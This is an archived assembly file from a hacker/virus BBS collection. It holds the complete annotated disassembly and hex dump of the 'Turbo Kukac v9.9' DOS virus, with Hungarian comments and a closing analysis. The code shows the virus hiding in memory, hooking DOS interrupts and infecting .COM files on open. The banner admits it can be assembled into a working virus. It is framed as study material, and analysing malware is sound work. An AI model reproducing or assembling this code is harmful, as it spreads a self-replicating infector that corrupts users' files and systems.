home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
ASM-T.ZIP
/
TURBO99.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-03-08
|
18KB
|
427 lines
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
TURBO KUKAC v9.9 virus unassembled list:
`90.07.21.
Magyarázat: Kövári László
Tel.: (41) 21-822 07-13:20 mh.
21-033 18:00-
28F8:0100 E80000 CALL 0103 ;IP értéke az SI-be
28F8:0103 90 NOP ;ez lesz a bázis offset
28F8:0104 5E POP SI
28F8:0105 50 PUSH AX
28F8:0106 51 PUSH CX
28F8:0107 B021 MOV AL,21
28F8:0109 B435 MOV AH,35
28F8:010B CD21 INT 21 ;INT 21h címének lekér-
;dezése
28F8:010D 8CC0 MOV AX,ES
28F8:010F 3D0040 CMP AX,4000 ;a memóriában van ?
28F8:0112 7224 JB 0138 ;nincs!
28F8:0114 83EE03 SUB SI,+03 ;bázis offset -3
;(3 byte hosszu a JMP
;+ az operandusa!)
28F8:0117 BAC102 MOV DX,02C1
28F8:011A 81EA0001 SUB DX,0100 ;0100h offset levonása
;(COM file sajátossága!)
28F8:011E 03F2 ADD SI,DX
28F8:0120 8B1C MOV BX,[SI] ;JMP kódja + az operan-
;dus fele
28F8:0122 8B4C02 MOV CX,[SI+02] ;JMP operandusa + 1 byte
28F8:0125 891E0001 MOV [0100],BX ;eredeti prg kezdet
28F8:0129 890E0201 MOV [0102],CX ;letárolása
28F8:012D 8CD8 MOV AX,DS
28F8:012F 8EC0 MOV ES,AX ;ES=DS
28F8:0131 59 POP CX
28F8:0132 58 POP AX
28F8:0133 BB0001 MOV BX,0100 ;ugrás offset-je
28F8:0136 FFE3 JMP BX ;EREDETI PROGRAM VÉGRE-
;HAJTÅSA
;HA MÉG NINCS A MEMóRIÅBAN
28F8:0138 8CD8 MOV AX,DS ;saját szegmense
28F8:013A 48 DEC AX ;saját seg-1= MCB. seg.
28F8:013B 8ED8 MOV DS,AX ;DS=MCB. szegmense
28F8:013D A10300 MOV AX,[0003] ;DOS álltal a programnak
;foglalt memóriablokk
;hossza
28F8:0140 2D4100 SUB AX,0041 ;virus hosszát levonja
;belöle (41*16 byte)
28F8:0143 A30300 MOV [0003],AX ;visszateszi igy a DOS
;álltal látott teljes
;memória nagysága a prg.
;kilépése után (41*16
;byte-tal) kevesebb lesz
;Hasonlóan csinálja ezt
;a YANKEE DOODLE is, s
;ezzel azt éri el, hogy
;semmilyen
;System Storage Map
;programmal nem mutat-
;ható ki a virus jele-
;léte a memóriában!
;A PCTOOLS system info
;kimutatja, azaz csak
;annyit látni, hogy a
;fizikai RAM méret 640K
;s a DOS álltal látott
;az 639k byte! Igy kö-
;vetkeztetni lehet...
28F8:0146 8CC8 MOV AX,CS
28F8:0148 8ED8 MOV DS,AX ;DS=CS
28F8:014A A10200 MOV AX,[0002] ;PSP-ben a RAM tetejé-
;nek a paragrafuscíme
28F8:014D 2D0008 SUB AX,0800
28F8:0150 8EC0 MOV ES,AX ;virus új szegmense
28F8:0152 BF0001 MOV DI,0100
28F8:0155 83EE03 SUB SI,+03
28F8:0158 B90002 MOV CX,0200 ;virus hossza
28F8:015B F3 REPZ
28F8:015C A4 MOVSB ;virus másolása az új
;szegmensbe
28F8:015D 8C06C702 MOV [02C7],ES ;új szegmens tárolása
28F8:0161 B96C01 MOV CX,016C ;belépési pont
28F8:0164 890EC502 MOV [02C5],CX ;tárolása
28F8:0168 FF2EC502 JMP FAR [02C5] ;ugrás az új szegmens
;01c6 offset-ére
;UJ SZEGMENSBEN A BELÉPÉSI PONT
28F8:016C 8CC1 MOV CX,ES
28F8:016E 8CD8 MOV AX,DS ;ahonnan másolta magát
28F8:0170 26 ES:
28F8:0171 A3CB02 MOV [02CB],AX ;RÉGI PRG. segment cím
28F8:0174 B80001 MOV AX,0100
28F8:0177 26 ES:
28F8:0178 A3C902 MOV [02C9],AX ;0100h offset tárolása
28F8:017B 8CC0 MOV AX,ES
28F8:017D 8ED8 MOV DS,AX
28F8:017F BAC701 MOV DX,01C7 ;INT 05 - HARD COPY új
;offset-je
28F8:0182 B005 MOV AL,05
28F8:0184 B425 MOV AH,25
28F8:0186 CD21 INT 21 ;INT 05 ellopása
28F8:0188 B435 MOV AH,35
28F8:018A B021 MOV AL,21
28F8:018C CD21 INT 21 ;INT 21h cím lekérdezé-
;se
28F8:018E 2E CS:
28F8:018F 891EB702 MOV [02B7],BX ;INT 05h offset (régi)
28F8:0193 8CC3 MOV BX,ES
28F8:0195 2E CS:
28F8:0196 891EB902 MOV [02B9],BX ;INT 05h segment (régi)
28F8:019A B8D901 MOV AX,01D9 ;új INT 21h offset cím
28F8:019D 8BD0 MOV DX,AX
28F8:019F 8BC1 MOV AX,CX
28F8:01A1 8ED8 MOV DS,AX
28F8:01A3 B021 MOV AL,21
28F8:01A5 B425 MOV AH,25
28F8:01A7 CD21 INT 21 ;INT 21h ellopása
28F8:01A9 8B16C102 MOV DX,[02C1] ;EREDETI JMP + AZ
28F8:01AD 8B0EC302 MOV CX,[02C3] ;OPERANDUSA!!!
28F8:01B1 A1CB02 MOV AX,[02CB] ;EREDETI PRG. SEG!!!
28F8:01B4 8ED8 MOV DS,AX
28F8:01B6 89160001 MOV [0100],DX ;eredeti JMP kódja
28F8:01BA 890E0201 MOV [0102],CX ;és operandusa
28F8:01BE 8EC0 MOV ES,AX
28F8:01C0 59 POP CX
28F8:01C1 58 POP AX
28F8:01C2 2E CS:
28F8:01C3 FF2EC902 JMP FAR [02C9] ;EREDETI PROGRAM FUTTA-
;TÅSA!
;új INT 05 - HARD COPY rutin
28F8:01C7 90 NOP
28F8:01C8 50 PUSH AX
28F8:01C9 1E PUSH DS
28F8:01CA 52 PUSH DX
28F8:01CB 8CC8 MOV AX,CS
28F8:01CD 8ED8 MOV DS,AX
;VÉGTELEN CIKLUS!
28F8:01CF BACE02 MOV DX,02CE ;szöveg kezdete
;Turbo Kukac v9.9
28F8:01D2 B409 MOV AH,09 ;print string
28F8:01D4 E8D900 CALL 02B0 ;régi INT 21h hivása
28F8:01D7 EBF6 JMP 01CF ;újra!
;új INT 21h rutin
28F8:01D9 90 NOP
28F8:01DA 80FC3D CMP AH,3D ;file nyitása alfunkció?
28F8:01DD 7403 JZ 01E2 ;igen
28F8:01DF E9C700 JMP 02A9 ;nem ugrása az eredeti
;INT 21h-ra
28F8:01E2 90 NOP
28F8:01E3 1E PUSH DS
28F8:01E4 06 PUSH ES
28F8:01E5 50 PUSH AX
28F8:01E6 53 PUSH BX
28F8:01E7 51 PUSH CX
28F8:01E8 52 PUSH DX
28F8:01E9 57 PUSH DI
28F8:01EA 56 PUSH SI
;File kiterjesztés ellenörzése
28F8:01EB 8BFA MOV DI,DX ;file PATH kezdete
28F8:01ED 8CDE MOV SI,DS
28F8:01EF 8EC6 MOV ES,SI ;ES=DS (igy a file PATH
;átvétele!)
28F8:01F1 B000 MOV AL,00 ;PATH lezáró nulla
28F8:01F3 B93200 MOV CX,0032 ;file secifikáció hossza
28F8:01F6 FC CLD ;elöre
28F8:01F7 F2 REPNZ
28F8:01F8 AE SCASB ;PATH lezáró 0 byte ke-
;resése
28F8:01F9 83EF03 SUB DI,+03 ;-3 igy a kiterjesztés
;kezdet+1 pozicióra mu-
;tat
28F8:01FC B84F4D MOV AX,4D4F ;'OM' AX-be
28F8:01FF 26 ES:
28F8:0200 3B05 CMP AX,[DI] ; 'OM' a vége ?
28F8:0202 7403 JZ 0207 ;igen valászinüleg COM
;file
28F8:0204 E99A00 JMP 02A1 ;nem COM ugrás az erede-
;ti INT 21h-ra
28F8:0207 B82E43 MOV AX,432E ;'.C' AX-be
28F8:020A 26 ES:
28F8:020B 3B45FE CMP AX,[DI-02] ; '.C' ?
28F8:020E 7403 JZ 0213 ;biztos hogy COM file!
28F8:0210 E98E00 JMP 02A1 ;nem COM ugrás az erede-
;ti INT 21h-ra
;File nyitása
28F8:0213 B43D MOV AH,3D ;file nyitás
28F8:0215 B002 MOV AL,02 ;írás/olvasás
28F8:0217 E89600 CALL 02B0 ;INT 21h hivása
28F8:021A 7303 JNB 021F ;ha nincs hiba
28F8:021C E98200 JMP 02A1 ;hiba esetén ugrás az
;eredeti INT 21h-ra
28F8:021F 8BD8 MOV BX,AX ;file kezelö
;File méret ellenörzés
28F8:0221 B90000 MOV CX,0000
28F8:0224 BA0000 MOV DX,0000
28F8:0227 B002 MOV AL,02 ;file végére
28F8:0229 B442 MOV AH,42 ;file pointer mozgatása
28F8:022B E88200 CALL 02B0 ;INT 21h hivása
28F8:022E 3D00FE CMP AX,FE00
28F8:0231 736E JNB 02A1 ;ha nem nagyobb a file
;65024 byte-nál
28F8:0233 2D0300 SUB AX,0003 ;JMP+op hossza
;Fertözendö file eredeti 4 byte jának
;beolvasása
28F8:0236 2E CS:
28F8:0237 A3BE02 MOV [02BE],AX ;letárolja
28F8:023A B442 MOV AH,42 ;file pointer mozgatása
28F8:023C B000 MOV AL,00 ;file elejére
28F8:023E B90000 MOV CX,0000
28F8:0241 BA0000 MOV DX,0000
28F8:0244 E86900 CALL 02B0 ;INT 21h hivása
28F8:0247 B43F MOV AH,3F ;olvasás file-ból
28F8:0249 B90400 MOV CX,0004 ;4 byte
28F8:024C BAC102 MOV DX,02C1 ;ide tegye
28F8:024F 8CCF MOV DI,CS
28F8:0251 8EDF MOV DS,DI ;DS=CS
28F8:0253 E85A00 CALL 02B0 ;INT 21h hivása
28F8:0256 B005 MOV AL,05
28F8:0258 3A06C402 CMP AL,[02C4] ;utolsó byte=5 ?
28F8:025C 7443 JZ 02A1 ;igen, ugrás az eredeti
;INT 21h -ra
;Fertözendö file-ba a virusra
;mutató JMP+op. kiírása (4 byte)
28F8:025E B442 MOV AH,42 ;file pointer mozgatása
28F8:0260 B000 MOV AL,00 ;file elejére
28F8:0262 B90000 MOV CX,0000
28F8:0265 8BD1 MOV DX,CX
28F8:0267 E84600 CALL 02B0 ;INT 21h hivása
28F8:026A B0E9 MOV AL,E9 ;JMP kódja
28F8:026C 2E CS:
28F8:026D A2BD02 MOV [02BD],AL ;letárolja
28F8:0270 B005 MOV AL,05
28F8:0272 2E CS:
28F8:0273 A2C002 MOV [02C0],AL
28F8:0276 B90400 MOV CX,0004 ;4 byte
28F8:0279 BABD02 MOV DX,02BD ;JMP + op. kezdete
28F8:027C 8CC8 MOV AX,CS
28F8:027E 8ED8 MOV DS,AX
28F8:0280 B440 MOV AH,40 ;kiírás file-ba
28F8:0282 E82B00 CALL 02B0 ;INT 21h hivása
;Program megfertözése 0200h byte kiírása
;azaz a virus mögémásolása
28F8:0285 B442 MOV AH,42 ;file pointer mozgatása
28F8:0287 B002 MOV AL,02 ;file végére
28F8:0289 B90000 MOV CX,0000
28F8:028C 8BD1 MOV DX,CX
28F8:028E E81F00 CALL 02B0 ;INT 21h hivása
28F8:0291 BA0001 MOV DX,0100 ;0100h ofset-töl
28F8:0294 B90002 MOV CX,0200 ;0200h byte virus hossza
28F8:0297 B440 MOV AH,40 ;kiírás file-ba
28F8:0299 E81400 CALL 02B0 ;INT 21h hivása
28F8:029C B43E MOV AH,3E ;file zárása
28F8:029E E80F00 CALL 02B0 ;INT 21h hivása
28F8:02A1 5E POP SI
28F8:02A2 5F POP DI
28F8:02A3 5A POP DX
28F8:02A4 59 POP CX
28F8:02A5 5B POP BX
28F8:02A6 58 POP AX
28F8:02A7 07 POP ES
28F8:02A8 1F POP DS
28F8:02A9 90 NOP
28F8:02AA 2E CS:
28F8:02AB FF2EB702 JMP FAR [02B7] ;eredeti INT 21h-ra
28F8:02AF CF IRET
;Eredeti INT 21h hivása
28F8:02B0 9C PUSHF ;elmenti mivel az IRET
;visszamenti a flag-eket
28F8:02B1 2E CS:
28F8:02B2 FF1EB702 CALL FAR [02B7] ;eredeti INT 21h hivása
28F8:02B6 C3 RET
28F8:02B7 16 PUSH SS
28F8:02B8 130C ADC CX,[SI]
28F8:02BA 0202 ADD AL,[BP+SI]
28F8:02BC 00E9 ADD CL,CH
28F8:02BE 06 PUSH ES
28F8:02BF 06 PUSH ES
28F8:02C0 05E906 ADD AX,06E9
28F8:02C3 0405 ADD AL,05
28F8:02C5 0100 ADD [BX+SI],AX
28F8:02C7 0000 ADD [BX+SI],AL
28F8:02C9 0001 ADD [BX+DI],AL
28F8:02CB F0 LOCK
28F8:02CC 0901 OR [BX+DI],AX
28F8:02CE 54 PUSH SP
28F8:02CF 7572 JNZ 0343
28F8:02D1 62 DB 62
28F8:02D2 6F DB 6F
28F8:02D3 204B75 AND [BP+DI+75],CL
28F8:02D6 6B DB 6B
28F8:02D7 61 DB 61
28F8:02D8 63 DB 63
28F8:02D9 2039 AND [BX+DI],BH
28F8:02DB 2E CS:
28F8:02DC 3920 CMP [BX+SI],SP
28F8:02DE 2020 AND [BX+SI],AH
28F8:02E0 2020 AND [BX+SI],AH
28F8:02E2 2024 AND [SI],AH
28F8:02E4 0000 ADD [BX+SI],AL
28F8:02FC 0000 ADD [BX+SI],AL
28F8:02FE FA CLI
28F8:02FF 00C7 ADD BH,AL
Megjegyzés:
Nagyon primitív virus, de megvan a maga zsenialitása, két legyet
üt egy csapásra, pl COPY parancs esetén megnyit egy com file-t,s
ha a virus a memóriában van, akkor még a másolandó file-t megfer-
tözi, s a COPY már a fertözött file-t másolja! Nem igazán kár-
tékony vírus, pusztán mindenütt ott akar lenni, s nehezíteni a
felhasználó(k) munkáját! Mérete nagyon kicsi, mindössze 512 byte!
Hiányoznak a vírusból az (tapasztalataim szerint) eddigi virusok-
ban fellelhetö ellenörzések, gondolok itt arra, hogy ha megtörténik
egy file-ba (hoz) való kiírás nem ellenörzi a program hogy valóban
kiírta-e azt az X byte-ot. Továbbá mikor rezidessé (nem {hivatalo-
san} bejegyzetten) teszi magát nem módosítja az MCB. 13. byte-ján
lévö RAM tetejének a paragrafus címétt a saját maga álltal lefog-
lalt mérettel (kivonás!), mint PL. a Yankee Doodle! A Yankee még
azt is megnézi, hogy amit meg akar fertözni az az utolsó memó.
blokkban van-e, bár abban kell lennie, mert a DOS egy programnak
odaadja a teljes szabad memóriát, ami van...
DUMP:
28F8:0100 E8 00 00 90 5E 50 51 B0-21 B4 35 CD 21 8C C0 3D ....^PQ.!.5.!..=
28F8:0110 00 40 72 24 83 EE 03 BA-C1 02 81 EA 00 01 03 F2 .@r$............
28F8:0120 8B 1C 8B 4C 02 89 1E 00-01 89 0E 02 01 8C D8 8E ...L............
28F8:0130 C0 59 58 BB 00 01 FF E3-8C D8 48 8E D8 A1 03 00 .YX.......H.....
28F8:0140 2D 41 00 A3 03 00 8C C8-8E D8 A1 02 00 2D 00 08 -A...........-..
28F8:0150 8E C0 BF 00 01 83 EE 03-B9 00 02 F3 A4 8C 06 C7 ................
28F8:0160 02 B9 6C 01 89 0E C5 02-FF 2E C5 02 8C C1 8C D8 ..l.............
28F8:0170 26 A3 CB 02 B8 00 01 26-A3 C9 02 8C C0 8E D8 BA &......&........
28F8:0180 C7 01 B0 05 B4 25 CD 21-B4 35 B0 21 CD 21 2E 89 .....%.!.5.!.!..
28F8:0190 1E B7 02 8C C3 2E 89 1E-B9 02 B8 D9 01 8B D0 8B ................
28F8:01A0 C1 8E D8 B0 21 B4 25 CD-21 8B 16 C1 02 8B 0E C3 ....!.%.!.......
28F8:01B0 02 A1 CB 02 8E D8 89 16-00 01 89 0E 02 01 8E C0 ................
28F8:01C0 59 58 2E FF 2E C9 02 90-50 1E 52 8C C8 8E D8 BA YX......P.R.....
28F8:01D0 CE 02 B4 09 E8 D9 00 EB-F6 90 80 FC 3D 74 03 E9 ............=t..
28F8:01E0 C7 00 90 1E 06 50 53 51-52 57 56 8B FA 8C DE 8E .....PSQRWV.....
28F8:01F0 C6 B0 00 B9 32 00 FC F2-AE 83 EF 03 B8 4F 4D 26 ....2........OM&
28F8:0200 3B 05 74 03 E9 9A 00 B8-2E 43 26 3B 45 FE 74 03 ;.t......C&;E.t.
28F8:0210 E9 8E 00 B4 3D B0 02 E8-96 00 73 03 E9 82 00 8B ....=.....s.....
28F8:0220 D8 B9 00 00 BA 00 00 B0-02 B4 42 E8 82 00 3D 00 ..........B...=.
28F8:0230 FE 73 6E 2D 03 00 2E A3-BE 02 B4 42 B0 00 B9 00 .sn-.......B....
28F8:0240 00 BA 00 00 E8 69 00 B4-3F B9 04 00 BA C1 02 8C .....i..?.......
28F8:0250 CF 8E DF E8 5A 00 B0 05-3A 06 C4 02 74 43 B4 42 ....Z...:...tC.B
28F8:0260 B0 00 B9 00 00 8B D1 E8-46 00 B0 E9 2E A2 BD 02 ........F.......
28F8:0270 B0 05 2E A2 C0 02 B9 04-00 BA BD 02 8C C8 8E D8 ................
28F8:0280 B4 40 E8 2B 00 B4 42 B0-02 B9 00 00 8B D1 E8 1F .@.+..B.........
28F8:0290 00 BA 00 01 B9 00 02 B4-40 E8 14 00 B4 3E E8 0F ........@....>..
28F8:02A0 00 5E 5F 5A 59 5B 58 07-1F 90 2E FF 2E B7 02 CF .^_ZY[X.........
28F8:02B0 9C 2E FF 1E B7 02 C3 16-13 0C 02 02 00 E9 06 06 ................
28F8:02C0 05 E9 06 04 05 01 00 00-00 00 01 F0 09 01 ..............
;Kiírandó szöveg kezdete
28F8:02C0 54 75 Tu
28F8:02D0 72 62 6F 20 4B 75 6B 61-63 20 39 2E 39 20 20 20 rbo Kukac 9.9
28F8:02E0 20 20 20 24 $
28F8:02E0 00 00 00 00-00 00 00 00 00 00 00 00 ............
28F8:02F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FA 00 ................
28F8:0300 C7 .
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;